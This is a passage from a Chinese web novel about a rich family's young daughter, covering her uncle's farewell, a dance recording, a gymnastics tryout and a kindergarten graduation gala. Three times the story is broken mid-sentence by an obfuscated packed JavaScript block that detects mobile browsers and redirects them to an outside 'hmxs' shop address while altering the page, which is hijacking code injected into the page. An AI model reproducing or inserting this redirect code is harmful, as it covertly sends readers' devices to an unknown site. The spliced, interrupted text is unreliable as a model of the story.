全家人皆是满目宠爱地盯着她,听她说着话,应和着,安抚着。 蒋婧心里存有的那些情绪不知不觉都散了去,终于愿意由着爸爸牵好自己,一起回家。 * 夜色浓醇,一行人走至楼下,一股起伏不定的轻风向他们迎面扑来,带着早秋凉意携来的被霜露浸湿的泥土和嫩蕨草沁人心脾的芳香。 蒋焰一一和父亲、兄弟们道别,把最后的再见留给了两个孩子。 蒋向恒绷着表情,显出一副深沉的克制情绪的脸色。 “保重好身体是第一位,学习、锻炼,都要自己拿主意,既不能过度,也不能懈怠。”蒋焰说,语气带点温和。 他从喉咙里艰难地发出一个“嗯”,控制着不让分别的情绪压倒他。 蒋婧迎上二伯张开的臂膀,抱住他说道:“二伯,我舍不得你。” 所有的话语都在此时淹没在别离愁绪中,蒋焰闭上眼,紧紧地搂住她。 蒋向恒霍然低头,紧抿住唇角,又抬起头过去,一起抱住了爸爸和妹妹。 “我还会和妹妹一起来看你的。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16492353|181056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我爹,你不要生病,千万千万不要生病。” 蒋婧也跟着说道:“千万千万不要生病!” 那种作为父亲的柔情颤动,搅得蒋焰心如乱麻。他依次拍拍两个人的小肩膀,说道:“我知道。婧婧回去好好吃饭,能不能答应二伯?” “能!” 蒋焰站在原地,目送他们行车离开,直到车子转过弯,消失不见。他闲庭信步走回家,进门前抬头看了眼天上的圆月。 家中一下子归入静寂,他打开门,产生了些许不适应,在门口驻足了那么几秒。 浮想起不久前的家庭小闹剧,他不由得会心一笑。 人生负有使命,也承载理想追求,但这一切的一切之外,忙忙碌碌中多品尝久一些亲人相聚的温情,似乎才让他有了前行的燃料。 * 回到北城,又过了一天,蒋婧才盼到了妈妈回家,把爸爸让她伤心的事情绘声绘色地控诉了一遍。 程与英对丈夫说道:“幸好我提前打了预防针。” 蒋源自省地摇头叹息道:“经这一遭,我是不敢再失约了。第一次把女儿惹生气,她那样难过的样子,让我心都快碎了。” “我也有连带责任。”程与英亲亲他,安抚地刮刮丈夫的胡茬,又说道:“错过她第一次上台,我这心里也很过意不去。想着她年纪小,可能不会记得这些事,可是听你们说起来她那天的反应,我才猛然发觉,孩子明明什么都能感知到。” 蒋婧和两个哥哥围在佣人身边,看他们把影像投到家庭影院的大屏幕上,兴高采烈地跑回到席座。 “妈妈!爸爸!可以看了!” 程与英把闺女抱到她和丈夫中间坐下,捏捏她的小手掌,看着画面上的人,笑着问道:“这是谁呀?怎么这么漂亮啊?” 蒋婧不好意思地捂住眼睛,眼睛里像住了星星,偶尔对上,尽是璀璨的光芒。 “是我!” 蒋彬和常蕙两人用了电影拍摄规格的索尼BURANO摄影机和大光圈定焦镜头,设置两个机位,一个用长焦专门捕捉特写直拍,另一个用中焦拍摄整个舞台的全景,完整地记录了蒋婧的表演过程。 她站在队伍里,像被春风悄悄藏起的一朵小花。 小人儿明眸粉腮,头顶的花环歪戴着,几朵淡粉的小雏菊点缀着她柔软的鬓发。当《春之声圆舞曲》的第一个音符流淌而出,她踮起脚,举着手里的花束,随着节奏舞动。专属于她的部分也完成得那样好,在舞台中央的聚光灯下,灵动地旋转,就像是童话故事里的小花仙儿。 “妈妈,你怎么哭了?”蒋婧期待地去看妈妈,神情猝然变成担心。 程与英挫败地擦擦泪,用手作扇子扇着眼睛,抱住她蹭了蹭,说道:“妈妈太骄傲了,我们婧儿好厉害,站在台上跳舞的时候,那么漂亮,那么专业,妈妈好感动,你太棒了,你知道吗?” “妈妈感到很遗憾,没能到现场看到宝宝跳舞,妈妈觉得对不起你。” 想着只是集体的群舞汇演,程与英便没有太在意,把所有精力都投入到了彼时繁忙的工作中。可是她没有想到,事后亲眼看到,哪怕只是录像,都能带来这样大的冲击力。 那种看着一向只会玩闹撒娇的小兔崽子,忽然就能站在台上完美地演出了。她心里的感慨一阵一阵,难以平静。 蒋婧懵懂地听着,盯着妈妈的眼睛,说道:“那你下次会来吗?” 蒋源握住她们俩的手,信誓旦旦地说道:“来,以后的每一次,爸爸妈妈都会来的。” 程与英抹掉眼泪,赞同地点点头。 蒋婧乖觉地露出一个微笑,嘴角的梨涡若隐若现。 “那你们不要难过,下次我还会跳的嘛。” 39.第39章 外面是个绿意盎然的四月的下午,一切都在清新的空气之中表现出春日的欣欣向荣。 蒋熠将窗外的视线收回,转回来对身边的蒋婧说道:“婧丫,等会我们一起去外面,我把那多大红花摘下来送你。” 他们正排着队,在宽敞的体育运动场里,进行着一些游戏活动。 蒋婧顺着他的手指看过去,说道:“老师说了,不能摘的,你不要摘。” “那好吧,我听你的。” 那边老师看到蒋熠又擅自脱离男生队伍,跑到女生队伍那边,好笑地喊道:“蒋熠!快过来,到你了!” 蒋熠不得不听了话回到原来的队伍。走之前他说道:“婧丫,你看我去跳那些东西,对我来说,都是小case!我是里面最厉害的!” 蒋婧眼神平淡地看着他,“哦”了一声,还是给面子地看了他做完全程。见他在下叉的环节皱巴着脸发出惨叫的拒绝声,没忍住笑出来。 这边的队伍轮到蒋婧,她仰头看着面前这个有一张坚毅国字脸的高个子女人,不明所以地跟着前面的小朋友走上垫子。然后,在那个高个子女人的护助下,走过平衡木,又进行了前滚翻、侧滚翻,在原地连续纵跳,又抓住单杠,看能悬垂多久。 一套动作下来,蒋婧感觉自己的身体热络起来,充满了想要继续跑跑跳跳的欲望。 那个高个子女人本想轻轻辅助,谁知蒋婧轻轻松松就下了横叉和竖叉。 她惊讶地说道:“小朋友,你可真不错。” 蒋婧乖乖巧巧地看过来,有些生怯,但两颊因为运动红扑扑的,看起来很是活力。 她很骄傲地仰起头,说道:“因为我会跳舞,我去跳舞的时候,都要这样下叉的。” “哦?是跳什么舞呀?” 蒋婧被勾起分享欲,走近了些,更开地仰起头,眼睛亮亮地说道:“我最开始跳芭蕾,后面还去学了古典舞和爵士,拉丁我也去跳过!” 高个子老师观察她,见她年纪虽小,但看得出身材匀称、四肢修长,暗藏玄机地点点头。 蒋澈搀着蒋熠走过来,和蒋婧会晤。 “婧丫,你快来!我痛得走不了了!” 蒋澈收回扶着他的手,说道:“你别装了,没有那么疼,你都没怎么下。” 蒋熠瞪了一眼哥哥,对跑过来的人问道:“你什么时候学会下叉的?” “就是,学了跳舞就会了。你现在是不是要承认,我才是最厉害的。” 蒋熠揉了揉自己还有些酸的胯根,说道:“这种厉害我也不想要,痛死了。” 蒋婧“哼”了一声,说道:“可是我都不觉得有什么痛的,因为我一直都练这个。” “阿澈哥哥,你说,我和蒋熠谁是最厉害的?” 蒋澈毫不犹豫地回答:“你厉害。” “我下叉没她厉害,可是我打篮球比她厉害、跑步比她厉害,打网球、羽毛球都比她厉害,还有吃饭也比她厉害!” 蒋婧受不了这样的挑衅,说道:“才没有!我厉害!” “不是,是我厉害!” “你一点都不厉害!你没我厉害!” “你哪里厉害了?我一点都不觉得你厉害!” 两人吵个没停,蒋澈不理解地左右各看他们一眼,轻飘飘地说道:“马上要发小甜品了,我们要现在去排队吗?” 两人结束嘴战,异口同声:“要!” * 这天放学,夫妇俩一起来接孩子,老师特意请求他们留下到办公室聊一聊,于是便跟着过去。 进了办公室,老师抬手介绍道:“蒋婧爸爸妈妈,这是市一级的体操队教练和专业选材委员,李远教练和黄嘉老师。” 程与英和蒋源友好握手,与他们坐下交谈起来。 黄嘉开门见山道:“您好,蒋婧的父母,我就直说了,我们每一年都会到幼儿园选拔一些体操苗子,今年看下来,您家孩子是个有潜力的,如果你们同意的话,可以让她来市体校参与训练体验体验。当然,我们这是属于国家竞技体育的选拔程序,并不收取任何费用。” 蒋婧趴在爸爸的大腿上,骨碌地左右转着眼珠,看看爸爸妈妈,又看看那个高个子女人,听得云里雾里。 蒋源和妻子对视一眼,摸摸闺女的背,保守地说道:“黄老师,感谢您对我们孩子的肯定,我们做家长的,一切以孩子的意愿为主,她如果愿意,我们自然全力支持。” 程与英低头去给女儿解释当下的事情,蒋婧没听太懂,但是有自己的理解。 “就是,就是,”她眉毛呈八字,全力找到话来表达:“就是我要再学一个跑跑跳跳的运动,是不是?” 程与英柔声说道:“嗯,你可以这么想。不过这个运动可不是只有跑跑跳跳那么简单,等周末爸爸妈妈带你去体验一下,如果你觉得感兴趣,我们再决定继续或者不继续,这样可以不?” 蒋婧看向那个高个子女人。刚刚她教自己侧翻的时候,动作温柔又有安全感,蒋婧对她很有好感,此时眼睛里盈满了善意的好奇。 她答复道:“可以。” * 周日上午,蒋源陪着闺女来到了清海区体校。换上体操服,蒋婧与其他两个同期被选来的小女孩一起进入到幼儿体操队伍的训练中。 蒋源提着水壶在场馆边缘候着,目光一直落在女儿身上,每每她感到心里不安稳看过来找寻爸爸的身影时,他都会立马及时扬手挥挥,朝她露出一个鼓励的微笑。 黄嘉对待这些小孩子们总是以夸奖为主,更别说蒋婧是个身体柔韧性已经得到过训练的苗子,所有躯干动作和柔韧练习对她来说都是小菜一碟,一个半小时的体验里,她夸奖蒋婧的次数十根手指都数不过来。 结束的时候,蒋婧活力满满地从台上跳下来,要爸爸把她接住。蒋源抱着她扶好,帮她穿上外套,询问她的感受:“爸爸看你做的有模有样的,很厉害,你体验下来,对体操感兴趣吗?” 蒋婧点点头,脸上浮现出骄傲的神气,扬起下巴说道:“我觉得和我跳小芭蕾是一样的动作,我一点都不觉得难。” “在许多专业体操运动员的训练体系中,芭蕾都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16518649|181056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是必修课。有了芭蕾基础,她对体操的接受会很快。”黄嘉走过来说道。接着,她拍了拍蒋婧的肩膀,撑着膝盖俯身问道:“我下周还能见到你吗?” “能!” “那我就放心了。”黄嘉朝她笑笑,又对着家长嘱咐了几句:“回家可以用泡沫轴按摩和拉伸一下酸痛的肌肉,有条件的话,可以泡个澡,在水里加点泻盐,里面的镁元素可以帮助镇静神经、缓解肌肉酸痛。” “谢谢黄老师,我都记下来。”蒋源背上女儿的小书包,摸摸她的背,说到:“宝贝,我们回家了,和老师再见。” 蒋婧抱着水杯抿着吸管喝水,无声地朝老师挥挥手。 蒋源又轻轻拍了一下她的背。她心领神会,门牙松开吸管,脆生生地说道:“再见,黄老师!” * 走向停车场的几百米路程中,一大一小牵着手。蒋源手臂微微晃动,拽着蹦蹦跳跳的小人儿,迁就着她小步子的乌龟速度。 他沉醉于同女儿这样温情行走的氛围,温和地问她:“婧儿,再学一个东西,你会不会觉得很累?” 蒋婧低着头,前后左右地去踩地上轻盈的落花,把它们踢着飘飞起来。 “不会啊。” “可是你白天除了上学,晚上还要上钢琴课和芭蕾课,周末还安排绘画、书法、外语、网球、马术,本来就只有周天上午可以休息一下,现在周天上午又要来学体操,真的不觉得累吗?” 蒋婧还是摇摇头,仰视着爸爸说到:“可是这些都很好玩,而且我都不厉害!” 蒋源一惊:“为什么这样说?怎么不厉害了,你明明最厉害了。” “没有哥哥厉害,哥哥写毛笔字厉害,打网球厉害,说英语法语厉害,骑小马也厉害。”她眉头蹙起来,很是在意地说道:“我都没有哥哥厉害!” 蒋源眉眼笼罩上一层层淡淡的笑意,摸摸她的小脑袋,将她抱起来,说道:“那是因为你比哥哥小嘛,等你多学几年,不就比哥哥还厉害了?” “嗯!”她重重地点头,抿着嘴,以一副颇有志气的模样在胸前握起一个拳头。 “其他哥哥都可以比我厉害,但是蒋熠不能比我厉害。我以后肯定会比他厉害很多很多!” 蒋源笑了笑,亲亲她的额头,说道:“爸爸啊,只想你开心快乐地生活在这个世界上,度过简单幸福的一生。要是你感到很辛苦,你只要和爸爸说一声,爸爸就会帮助你,不用你那么辛苦。” “可是老师说了,爸爸妈妈工作很辛苦,要对爸爸妈妈说辛苦了。” “爸爸不辛苦,爸爸想到是为我的宝贝女儿工作,只觉得充满了动力,一点也不辛苦。” 蒋婧弯起眼睛,笑盈盈地说道:“爸爸不辛苦,那我也不辛苦。” 蒋源点点她的小鼻子,又觉得仍然无法表达自己内心的情绪涌动,亲昵地用鼻尖蹭蹭她的,说道:“那就好。要是辛苦,一定要和爸爸说。” “爸爸特别爱你,宝贝婧儿。” 蒋婧也亲亲他的下巴,说道:“我也特别爱你的,宝贝爸爸。” 40.第40章 “老公,我去上班了哦,今天我送婧儿吧。婧儿,和爸爸说再见。” 程与英对着玄关的镜子顺手把脖子上的丝巾重新调整了一下,拎起自己的手挎包,扬声说道。 蒋婧身着洗得焕然一新的西装式校服,扎成麻花辫的双马尾下端别了两朵向日葵发饰,肩背着恐龙形状的毛绒小书包,站在门口准备完毕,说道:“拜拜爸爸,我也去上班了哦。” 她仰着脸,看到爸爸先过来和妈妈嘴巴亲亲,甜甜蜜蜜地说着耳边话,不高兴地撅起嘴:“我还在呢!” 蒋源连忙蹲下来,也亲亲她的脸颊,不自觉地学着女儿娇娇的语调笑道:“爸爸听到你说话了,你也要去上班呀?上的什么班呀?” 她的眼神看上去既严肃又透着股天真的柔和,拉低了声音说道:“大!班!” 蒋源忍俊不禁,拍拍她的小肩膀:“好,今天可是你最后一天上大班了,要精神抖擞地迎接毕业典礼。” “等等!等等!”蒋向恒和蒋怀谦大清早的就在厨房捣鼓了半天,急色匆匆地过来,把一个便当袋递给妹妹。 “这啥?”蒋婧两只手扒开,探头进去一看,问道。 蒋向恒:“这是我和蒋怀谦今天早起给你准备的便当,里面可是我的独家秘笈,等你到学校排练饿了,你就吃一点,就不怕学校里的小甜品不够吃了。” “谢谢向恒哥哥!” 蒋怀谦:“里面还有新鲜的果切,放了你最喜欢的芒果。” “谢谢哥哥!” 程与英笑道:“你俩在厨房里弄了快三小时了吧?还好是今天周六,做这些不耽误事儿,要是平时,保准迟到。好了,你们都回去吧,该补觉的补觉,该学习的学习,我先带婧儿过去幼儿园了。” “好,我们晚点就来和你们汇合。” 他们再度挥手告别。 蒋婧由程与英送到幼儿园,便拎着便当跳下车。 “妈妈,是下午两点半个钟哦,你不要忘记了。”她挥着手,不放心地说道。 程与英蹲下来亲了她一口,应下:“知道了,妈妈参加完活动就过来。” 她又挥了一个飞吻,兴高采烈地跳着进了学校。 学校里在各处都布置了五彩缤纷的毕业氛围装饰,蒋婧好奇地左看右看,好心情地笑起来。 一进到班上,蒋澈和蒋熠两个人就发现了她,相继跑了过来。 蒋熠:“你今天怎么来这么晚,刚刚值班老师在发毕业小花束和零食,你都没赶上,我给你抢了最好看的一朵,喏。” “还有这个小玩偶,还有这个小布袋里装的东西,都是你的。我提前帮你要好了,每个毕业的学生都有的。”蒋澈也递上手里的东西。 蒋婧笑着接了个满手,抱着一堆东西放到自己的桌子上,说道:“毕业真好!有这么多礼物可以拿!” 孩子们最后一次围坐在一起,听老师用夸张的语调再三重复今天的活动安排。接下来的时间,他们在学校大会堂里进行了最后一次告别晚会的彩排,走完了台,回了班上用完午餐,又被老师带着去午休。 即使耗费了一早上精力,蒋熠还是生龙活虎,没有困意。 他趴到蒋婧的木床围栏边,压着声音说道:“蒋婧,我听我妈说,等我们去了另一个学校,就不用再睡午觉了,这是不是一件很好的事?” 她躺在枕头上,小幅度地点点头,说道:“对,这样我们一天里就有更多的时间可以用来玩了。” 被批评了无数次,蒋熠仍然照做的事,就是像现在这样,翻到蒋婧的床上和她挤到一起。 “蒋熠,你好烦啊,这样好挤。” 蒋熠把自己横着贴着围杆,说道:“我只占了一点点地方,你看,你还有很多地方可以躺。我就是想和你一起挨着,好不好婧丫?” 蒋婧似有话要说,最后嗫嚅了一下嘴巴,还是只说了一句:“好吧。” “我这个人就是这样,只喜欢睡第一觉,不喜欢睡第五觉。你喜欢睡第五觉吗?” “我喜欢睡第五觉。” “那好吧,我也喜欢睡第五觉。” “婧丫,我们出去一起去玩滑滑梯吧?我打探过了,今天只有我们大班的来了,滑滑梯都没有人和我们抢,你想滑多久就滑多久,不用排队!还有秋千也是!” 蒋婧揉了揉眼睛,摇摇头:“要睡觉。” 蒋熠戳了戳她的脸颊肉,不放过地继续在她耳边说:“你能先不要睡吗?你和我一起玩一会儿。” “不要。”蒋婧推开他,从自己的床一个攀爬翻身,掉进了隔壁蒋澈的床位。 蒋澈睡得迷迷糊糊,睁开眼,见到是她,把自己的午睡被分给她盖了一半,惺忪地说道:“阿熠又讨嫌了?” 蒋婧:“对,阿澈哥哥,我来你这里借睡一下。” “好。”蒋澈环住她,合上眼准备接着睡。 谁知蒋熠也跟着翻了过来,挤在蒋婧一边,任性妄为地挠起两个人的痒痒肉。 蒋澈连忙捂住了妹妹的嘴制止她克制不住的笑声,瞪着弟弟说道:“阿熠,不要闹,等会老师听到,又要把我们的小蛋糕克扣了。” “好挤!”蒋婧夹在两个人中间,眉头皱皱的,也跟着看向蒋熠,声音含糊不清地说道:“你要小声一点,我们不能没有小蛋糕吃。” 然后,她猛地想到了什么,艰难地从两个人中间挤出来,蹑手蹑脚地爬下床,跑到自己的柜子里,翻出了书包。 等她拎着一个手提包回来,蒋澈压低了声音问:“这是什么?” “是哥哥们给我做的零食。” 蒋熠把被子一扬,将两个人盖住,自己也随后钻进来,得意地说道:“这样我们就不会被发现了。” “蒋熠,你这样是很聪明的做法。”蒋婧评价道。她打开三层饭盒,一层果切,一层五角星模样的鸡蛋饼,一层捏成卡通猫的饭团,很是开心地分享道:“我们一起吃好不好?这样好像在帐篷里露营一样。” 蒋澈吃着饭团,问道:“阿婧,怀谦哥哥和向恒哥哥给你做便当,你会更喜欢他们吗?” “会!” 他盯着手里的饭团思考了一瞬,又问:“那要是我也学会了做小猫饭团,你也会更喜欢我吗?” 蒋婧脸颊鼓鼓的,眼睛大大的,呆呆地点点头。 蒋熠:“蒋婧,我不会做小猫饭团,你也会更喜欢我的,对不对?” “这个不好说。”蒋婧艰难地把饭团咽下去,看过来,见他面上隐隐有发作的气势,连忙把手掌贴到他的嘴巴上,改口道:“好吧,会的,你不要生气,不要发出声音,不然我们等会没有小蛋糕了。” 蒋澈对着弟弟说道:“你就只会闹!” 蒋熠反而沾沾自喜:“妈妈都说了,像我这样会闹的孩子有糖吃,哥,你应该像我一样多闹闹。不过你要是不想闹,我也可以来替你闹,谁让你是我哥哥呢。” “妈妈那话不是在夸你。” “我觉得妈妈是在夸我,那她就是在夸我。” * 程与英早上参加了一个奢侈品品牌活动,并没有更换着装就接着来参加女儿的毕业典礼。她身着一身高定香槟金纱裙,慵懒的深栗大卷发随意地披散着,搭配整套的南洋珍珠镶钻首饰,简约大方之中又是高贵的优雅艳丽。 她一现身,就成为了人群之中的焦点。 孩子们在门口排排站着,迎接着父母的到来,并和他们一起走过红毯到签名墙留影签名。 “蒋婧,你妈妈好漂亮!”站在旁边的一个女孩说道。 蒋婧骄傲地勾起嘴角,开心地说道:“对啊,我妈妈是世界上最漂亮的人!” “你妈妈的裙子好好看,上面还会发光。” “你看我的裙子也有钻石碎片,也会发光的。我的裙子和我妈妈的裙子是一个颜色,是我妈妈特意请人做的,我妈妈说这叫母女装。” “好厉害!” 听到这话,她又翘起了小尾巴似的晃了晃脑袋,笑起来。 “你爸爸妈妈都是第一个来的!你们可以第一个坐到椅子上了,蒋婧,你能帮我占一个位置吗,我想坐你旁边。” “好啊,我帮你占三个位置,如果你爸爸妈妈来了,你们就都有位置了!” 蒋熠看向那个说话的男生,抱着手说道:“你不能占她旁边的位置,因为我和我哥,我爸爸妈妈,要坐在她旁边的。” “那我坐你们后面,蒋婧,在你后面!你记得帮我占座位!” “好!” 孩子们还在七嘴八舌地说着话,蒋婧学着妈妈的姿态,拎起裙子对身边的同伴们说道:“我先去接我的爸爸妈妈、爷爷奶奶还有伯父伯母了!” 她欢欢喜喜地跑过来,就着裙子抱住妈妈的腿,笑颜灿烂地仰着头说道:“妈妈我好想你啊~你今天好漂亮~你像一个仙女一样~” 程与英被夸得笑容难掩,挠挠她的小下巴,牵起她的手一起往前走,说道:“妈妈也可想你了。不过今天最漂亮,还是我们婧儿宝宝。” “我知道了!是不是因为你是仙女妈妈,所以我才是仙女宝宝?” 她们身后,蒋源带着两个男孩跟着走。蒋源听了女儿的话,会心一笑,眉眼温柔地望着身穿相似纱裙的一大一小的身影。 经过打卡地,一家人留影了很多张,温馨的氛围直把摄影师都拍得忍不住扬了唇角,感叹到:“你们这一家子,都是俊男靓女啊!” 带着家人在观众席入座后,孩子们就跟着老师去到后台准备晚会的正式开场。 蒋源接过蒋彬派发的应援灯板,翻过来一看——上面分别绘着:“祝贺阿婧宝宝毕业啦!”“阿婧宝宝勇敢飞,婧迷伯伯永相随!”,“蹦蹦跳跳真可爱,你的表演我最爱”。 他噎笑了一下,又全程看着蒋彬安置好带来的厚重的拍摄设备,说道:“三哥,还是你有经验,这倒是显得我这个做亲爹的不够格了,你教教我,下次我也准备一套。” 蒋彬架好三脚架,试了试焦距,瞅了他一眼,传授道:“你确实该学习学习摄影,这孩子啊,长的很快的,不知道什么时候他们就长大了。所以每一次能够记录的机会都不能错过。不过你要是实在没精力,交给我就行,我们家阿婧宝宝的任何一个成长瞬间,我这个做三伯的,都会给她仔仔细细地记录下来。” “那我这个做亲爸的,也得跟上才行。” 热场音乐结束,灯光熄灭又开,蒋澈、蒋婧、蒋熠排成一排,依次上了台。 蒋澈:“尊敬的各位领导来宾们、老师们” 蒋婧:“亲爱的家长们、小朋友们” 蒋熠:“大家——晚上好!” 齐声:欢迎大家来参加我们的“金色童年,梦想起航”毕业晚会! 蒋澈:三年前,我们还是爱哭鼻子的小宝宝,拉着妈妈的衣角不肯松手。 蒋婧:是老师用温暖的怀抱,像妈妈一样,教会我们唱歌、跳舞、做游戏。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16552376|181056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蒋熠:在这里,我们学会了第一个故事,画出了第一张涂鸦,也交到了最好的朋友! 蒋婧:时间就像滑滑梯,“呲溜”一下就过去了。我们长大了,就像小鸟长满了羽毛。 蒋澈:今天,是我们最后一次站在幼儿园的舞台上。 蒋熠:今天,我们要用最精彩的表演,来告别我们最爱的幼儿园! 蒋婧:这里,有我们太多太多的回忆。这里有我们玩不够的滑梯,有我们搭过的高高城堡。 蒋熠:这里,也有我们想说的太多太多的“谢谢”。 蒋澈:谢谢老师!您辛苦了! 蒋婧:谢谢爸爸妈妈!我们爱你! 蒋澈:也要谢谢所有的小伙伴,谢谢你们陪我一起长大! 蒋熠:现在,请欣赏我们为你们准备的“毕业礼物”吧! 蒋澈:我宣布,德威国际幼儿园大班毕业晚会—— 合:现—在—开—始! 一家人皆是笑容满面、被触动心弦一般望着台上的三个孩子,在台上积极地给予反馈和回应。 程与英鼓着掌,微微朝向常蕙问道:“我听婧儿说,老师不是定了她和阿澈吗?” 常蕙摇摇头,一副“这你还不知道”的神情,解答道:“是啊,不过双胞胎,最讲究公平一致,阿熠又是个炮仗性格,哪能忍了没有自己,非要一起当主持人。这主持词还是我写的呢,反正不劳老师费心,也就随了他。” 程与英笑道:“挺好的,这三小只倒像个三胞胎似的。他们这伶俐的口齿倒是惊喜到我了,三嫂没少花功夫训练他们吧?” “要花功夫也是花在阿熠身上,阿婧和阿澈两个孩子可乖了,就阿熠皮得很!注意力太差了。” 程与英嫣然一笑,把目光转向了舞台。 每个班都有一个节目表演,三小只所在的班级则是采取了最好排练的童声合唱。 蒋婧作为领唱站在队伍中央,开头有一段个人清唱。清澈甜美的音线响彻在大会堂里,观众们的脸上挂起了或欣赏、或沉浸的微笑,饱含着被一个人类幼崽击中内心的触动。 程与英又忍不住热泪盈眶,被蒋源握住了手轻抚着。 “我是不是太多愁善感了?一看婧儿上台,就控制不住泪水了。” 蒋源搂住她,轻柔地给她擦掉眼睛的眼泪,亲亲她的鬓角,说到:“为人父母,可以理解。我不也是这样的吗?” “希望她能再慢一点长大,能一直这样就好,小小的,天真的,无忧无虑的,单单是站在那里,就美好得不得了。”程与英动情地说道。 * 汇报演出结束,就是幼儿园的毕业证书授予仪式。孩子们穿着学校定制的学士,一个个朝气蓬勃地上台接受校长的授礼。 蒋婧跟在两个哥哥身后,新奇地上台,和校长握手,抱着毕业证书朝台下招呼的三伯和相机比了个耶,又高视阔步地走下来。 实际上,对于成长与告别,他们都知之甚少。说是再见,便以为会真的再见一面,其实幼儿的时光就是在这样懵懂的认知中,悄然地划过。 当天,家里的长辈又为三个孩子举办了毕业宴席,庆祝他们迈向新的学习阶段。 可是蒋婧的去处却有些尴尬。 “这才四岁,升小学可能有点太小了。但是让她接着回幼儿园再呆两年,她又不乐意。”程与英在饭桌上说道。 蒋礼雄说道:“要是不愿意去幼儿园,就在家里学也是一样的。跟在我身边,我亲自来教。” 蒋源:“爸,我们主要还是担心蒋婧需要多和同龄人相处,毕竟小孩子也是需要有社交锻炼的。” 常蕙:“我倒是觉得,阿婧这么聪慧,就算提前上小学也不会有问题。” 蒋彬问道:“阿婧宝宝,你觉得呢?你想怎么安排毕业之后的事呢?” 蒋婧不明白地发问:“什么是毕业之后的事?” “就是你从幼儿园毕业了,想不想再回去、再读一个中班、一个大班。” 她咬着勺子点头:“可以啊!” 蒋熠喜出望外地加入对话,以为自己也要重新回到幼儿园,说道:“好啊好啊,阿婧,到时候我们就是幼儿园里的长老了,你知道什么是长老吗?” “我不知道。” “就是长大了一岁就变老了,所以叫做长老,我们就是长老。” 常蕙打断他说道:“你还没弄清状况呢,下半年的时候,你和哥哥要去上小学啦,阿婧宝宝就再回幼儿园读两年。” 蒋澈:“阿婧妹妹为什么不能和我们一起上小学?” “因为她年纪太小了呀。” 蒋婧总算是听明白了,眼里满是受伤,殷切又焦急地追问:“可是阿澈哥哥和阿熠哥哥都去小学了,是不是?” “我不可以和阿澈哥哥和阿熠哥哥一起去上小学吗?” “我不想一个人去幼儿园。” “我要和阿澈哥哥和阿熠哥哥上一个学校。” 她那黯然神伤的小模样实在太过惹人心疼,蒋彬迫切地从位置上起来,把小侄女抱起来哄了哄。 “哎呀不哭不哭,我们不哭啊阿婧宝宝。没事的,好不好?三伯想办法,让你和两个哥哥上一个学校,好不好?” “你和我拉钩,三伯,不要骗我,我不可以和阿澈哥哥和阿熠哥哥分开的,我们要一起上学。” 蒋彬受不了小侄女撒娇,和她拉拉小指,保证道:“三伯永远不会骗你,三伯说到做到。” 41.第41章 六月中旬,蒋彬特别邀请了海外顶级儿童发展研究中心的心理学专家、教育学家来给蒋婧做评估交流,让他们出具了一份措辞严谨、证明孩子认知水平已经能够提前入学的报告。 另一边,又是设奖学金、又是捐办教学设备和教学场地的,蒋源也忙活了不少事。 蒋婧只记得那天天气很热,她以吃两个冰淇淋作为交换,才愿意跟着爸爸到了一个很大的教室里,做了很久的题。没多久后,爸爸就告诉她,等到开学的时候,又可以和哥哥们一起去上学了。 七月,蒋怀谦以最小年龄参赛者的身份,闯入全国青少年信息学奥林匹克竞赛并夺得金牌,入选国家集训队,还受邀去参加了高校联盟体验营。 蒋源和程与英都感到很高兴,左思右想地聊着要怎么给他庆祝。 蒋婧坐在哥哥怀里,把玩着他带回来的金牌和荣誉证书,逐字朗读上面的字,好奇地问道:“是不是长到12岁就能有金牌了?” 蒋源笑道:“那可不一定,哥哥能拿到金牌是因为参加了一个特别厉害的比赛。” “什么比赛?” “我们国内中学生信息学领域最高水平的大赛!” 蒋婧呆愣地望着爸爸,稍显疑惑地歪歪脑袋。 一直盯着她的蒋怀谦淡淡一笑,说道:“简单来说,就是敲电脑得的金牌。” 蒋婧“哦”了一声,说道:“怪不得你老是要敲电脑,哥哥。” “可是我不会敲电脑,我要怎么样才能得一个金牌?” 蒋怀谦把金牌戴到她的脖子上,说道:“这样你就得到了。哥哥的金牌,就是你的金牌。” 程与英接着问他想不想要什么奖励,蒋怀谦只是淡淡地回复一句“都可以,我没有什么特别的想法。” “怎么这样说,你取得这么棒的成绩,爸爸妈妈肯定要奖励你的。”程与英思索了一下,一拍手掌,打了个响指说道:“这样,婧儿,派你监督哥哥想出三个愿望,到时候写到小卡片上交给妈妈,行不行?” “包在我身上!”蒋婧兴奋地答应下来,立马要牵着哥哥回房间商量。 等蒋怀谦在窗前的书桌坐好,蒋婧轻车熟路地从他的手肘下方,爬进他的怀里。 